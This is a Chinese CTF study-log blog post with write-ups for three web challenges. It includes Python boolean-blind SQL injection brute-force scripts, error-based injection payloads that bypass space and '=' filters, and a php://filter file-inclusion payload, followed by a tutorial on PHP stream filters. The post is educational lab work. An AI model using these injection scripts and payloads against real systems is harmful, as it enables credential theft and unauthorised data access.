刷题学习记录

sql注入(bugkuctf)

打开显示一个登录框

照常用admin用户名登录,密码随便填一个,显示密码错误

接着用admin'为用户名登录,密码照样随便填,结果显示用户名不存在

题目提示基于布尔的SQL盲注,猜测后端是判断用户名是否存在,用户名可能就会有注入点

先尝试万能密码

'or(1<>2)#

'or(1<>1)#

利用脚本爆破出数据库

复制代码
import requests

url = 'http://114.67.175.224:18288/index.php'

database = ''

for i in range(1, 9):
    for p in range(45, 126):
        m = 9 - i
        sql = "a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#" % (i, m, p)
        data = {
            'username': sql,
            'password': '1'
        }
        res = requests.post(url=url, data=data)
        if "username does not exist!" in res.text:
            database += chr(p)
            print(database)
            break
print("==========================")
print("\n" + database)

得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过

参考:SQL注入WP

利用脚本爆破出密码

复制代码
# 布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现"账户不存在"和"存在"两种情况,这也是布尔。
import string

import requests

url = 'http://114.67.175.224:18288/index.php'
sss = string.digits + string.ascii_lowercase
a = ''
for i in range(1, 50):
    flag = 0
    for j in sss:
        payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
        # 屏蔽了",",改用mid()函数,from表示起始位置
        # ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
        # <>表示不等号
        # ^表示异或
        payload2 = "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#" % (i, ord(j))
        # 由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
        payload3 = "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#" % (i, ord(j))

        data = {'username': payload, 'password': 'admin'}
        res = requests.post(url, data=data).text
        if 'username does not exist!' in res:
            a += j
            flag = 1
            print(a)
            break
    if flag == 0:
        break

print(a)

得到的结果用md5解密得到password

bugkuctf

[极客大挑战 2019]HardSQL1

进入页面是一个登录页面

简单的用1试一下

接着用1'进行登录,出现报错,证明闭合方式为'(单引号)

测试我们要走的路,可以发现被过滤的有:

空格,=,union,sleep,if

怎么测试空格被过滤了呢:

控制变量法咯.

用户名输入1 密码输入1 回显是账号密码错误

用户名输入1 1 密码输入1 回显是被逮住了

由此可以说明空格被过滤了

测试到 updatexml 发现可以,那我们还需要使用select,concat

测试过滤后发现我们遇到的问题有两个:

1.空格不能使用,用()进行绕过,用^来连接函数,形成异或

2.=不能使用

所以只要解决这两个问题就可以使用报错注入

爆数据库

payload:

复制代码
1'^extractvalue(1,concat(0x7e,(select(database()))))#

爆表

复制代码
1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

查字段

复制代码
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
复制代码

extractvalue()长度限制

extractvalue只显示32长度字符串,会导致flag显示不全

可以使用right 函数显示右半部分的值

复制代码
1'^extractvalue(1,right(concat(0x7c,(select(group_concat(username,password))from(H4rDsq1))),32))#

拼接flag:flag{07b72dd4-f842-4382-b9f4-5b0eceac00ef}

[BSidesCF 2020]Had a bad day1

进入环境,是一个励志语录页面

点击进入

发现有个meowers的参数,是?category传参

后面加一个单引号测试

category参数会与.php拼接然后进行文件包含,尝试直接传入flag,但回显显示是错误的,限制了白名单

由于限制了白名单,只能是woofers和meowers,一般就尝试用filter伪协议得到index.php的源码

payload:

复制代码
?category=php://filter/read=convert.base64-encode/resource=index

得到一串base64编码,接着将得到的编码转换

得到源码

复制代码
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

重点关注php部分

复制代码
<?php
	$file = $_GET['category'];
 
	if(isset($file))
	{
	    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
	}
	else{
		echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>

代码审计,只要传的category参数中含有woofers或者meowers或index就可以得到结果

如果不包含则

payload:

复制代码
?category=php://filter/read=convert.base64-encode/index/resource=flag

接着解码得到flag,但是解码得到的并没有完全显示出flag,那就还要接着解

知识点

php://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter伪协议可以用于如下函数:

include()

file()

file_get_contents()

readfile()

file_put_contents()

可以用于读取、写入文件等函数,

php://filter伪协议使用方法

php://filter伪协议的一般使用方法为:

php://filter/过滤器|过滤器/resource=要过滤的数据流

过滤器可以设置多个,使用管道符 |分隔,按照从左到右的方式依次使用相应的过滤器进行过滤处理,例如:

echo file_get_contents("php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,<?php phpinfo();?>");

上述代码对 <?php phpinfo();?> 进行了两次base64编码处理。

read可以省略,会自动根据函数作用来决定read还是write。

我们使用了 data伪协议 将 file_get_contents() 想要读取的内容变成了data伪协议输入的内容。

php://filter过滤器分类

根据 php://filter官方说明 ,php://filter协议的过滤器 大致分为以下四类:

1、字符串过滤器

2、转换过滤器

3、压缩过滤器

4、加密过滤器

filter字符串过滤器

每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。

字符串过滤器以 string 开头,常见的过滤器有 rot13、toupper、tolower、strip_tags等

string.rot13

使用该过滤器也就是用 str_rot13() 函数处理所有的流数据。

echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,abcdefg");

//输出: nopqrst

string.toupper

string.tolower

该过滤器就是将字符串进行大小写转换.

等同于strtolower()、strtoupper() 函数

echo file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abcdefg");

//输出 ABCDEFG

echo file_get_contents("php://filter/read=string.tolower/resource=data://text/plain,ABCDEFG");

//输出 abcdefg

string.strip_tags

本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性。

使用此过滤器等同于用 strip_tags() 函数处理所有的流数据。可以用两种格式接收参数:一种是和 strip_tags() 函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。

strip_tags() --- 从字符串中去除 HTML 和 PHP 标签

strip_tags对数据流进行strip_tags函数的处理,该函数功能为剥去字符串中的 HTML、XML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西。

echo file_get_contents("php://filter/string.strip_tags/resource=flag.php");

//flag.php

<b>flag{abc}</b>

//输出:flag{abc}

filter转换过滤器

主要含有三类,分别是base64的编码转换、quoted-printable的编码转换以及iconv字符编码的转换。该类过滤器以convert(转换)开头。

convert.base64-encode

convert.base64-decode

将数据进行base64编码、解码

使用这两个过滤器等同于分别用 base64_encode() 和 base64_decode() 函数处理所有的流数据。

echo file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,abc");

//输出:YWJj abc的base64编码

echo file_get_contents("php://filter/read=convert.base64-decode/resource=data://text/plain,YWJj");

//输出:abc

convert.quoted-printable-encode

convert.quoted-printable-decode

使用此过滤器的 decode 版本等同于用 quoted_printable_decode() 函数处理所有的流数据。没有和 convert.quoted-printable-encode 相对应的函数。

quoted-printable-encode可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成:=后面跟两个十六进制数,例如:

echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://text/plain,666".chr(12));

//输出:666=0C

//将ascii码为12的字符编码为:=0C

quoted-printable-decode 与上述操作相反,将 =后面跟上两个16进制数 转换为不可打印的ascii字符

echo file_get_contents("php://filter/convert.quoted-printable-decode/resource=data://text/plain,666=0A888");

输出:666 // =0A 是 \n 的编码

888

convert.iconv.*

在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器, 等同于用 iconv() 处理所有的流数据。

iconv过滤器 就是对输入输出的数据进行编码转换,即将输入的字符串编码转换成输出指定的编码

写法:

该过滤器不支持参数,但可使用输入/输出的编码名称,组成过滤器名称,比如 :

convert.iconv.<input-encoding>.<output-encoding>

convert.iconv.<input-encoding>/<output-encoding> (两种写法的语义都相同)。

<input-encoding>和<output-encoding> 就是编码方式,有如下几种;

UCS-4*

UCS-4BE

UCS-4LE*

UCS-2

UCS-2BE

UCS-2LE

UTF-32*

UTF-32BE*

UTF-32LE*

UTF-16*

UTF-16BE*

UTF-16LE*

UTF-7

UTF7-IMAP

UTF-8*

ASCII*

例如:

将 abcdefg 从编码 UCS-2LE 转换为 UCS-2BE :

echo file_get_contents("php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=data://text/plain,abcdefg");

//输出: badcfe

就是两两字符顺序互换一下(两个两个一组)如果不是字符串2的倍数,最后1个字符不会被输出

将 abcdefgh1234 从编码 UCS-4LE 转换为 UCS-4BE :

echo file_get_contents("php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=data://text/plain,abcdefgh1234");

//输出:dcbahgfe4321

(四个一组)将每一组内的成员倒序排列,如果不是字符串4的倍数,最后几个字符不会被输出

filter压缩过滤器

虽然 压缩封装协议 提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思, 也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。

相关推荐
阿阳微客2 小时前
Steam 搬砖项目深度拆解:从抵触到真香的转型之路
前端·笔记·学习·游戏
Chef_Chen7 小时前
从0开始学习R语言--Day18--分类变量关联性检验
学习
键盘敲没电7 小时前
【IOS】GCD学习
学习·ios·objective-c·xcode
海的诗篇_7 小时前
前端开发面试题总结-JavaScript篇(一)
开发语言·前端·javascript·学习·面试
AgilityBaby8 小时前
UE5 2D角色PaperZD插件动画状态机学习笔记
笔记·学习·ue5
AgilityBaby8 小时前
UE5 创建2D角色帧动画学习笔记
笔记·学习·ue5
武昌库里写JAVA9 小时前
iview Switch Tabs TabPane 使用提示Maximum call stack size exceeded堆栈溢出
java·开发语言·spring boot·学习·课程设计
一弓虽10 小时前
git 学习
git·学习
Moonnnn.12 小时前
【单片机期末】串行口循环缓冲区发送
笔记·单片机·嵌入式硬件·学习
viperrrrrrrrrr713 小时前
大数据学习(131)-Hive数据分析函数总结
大数据·hive·学习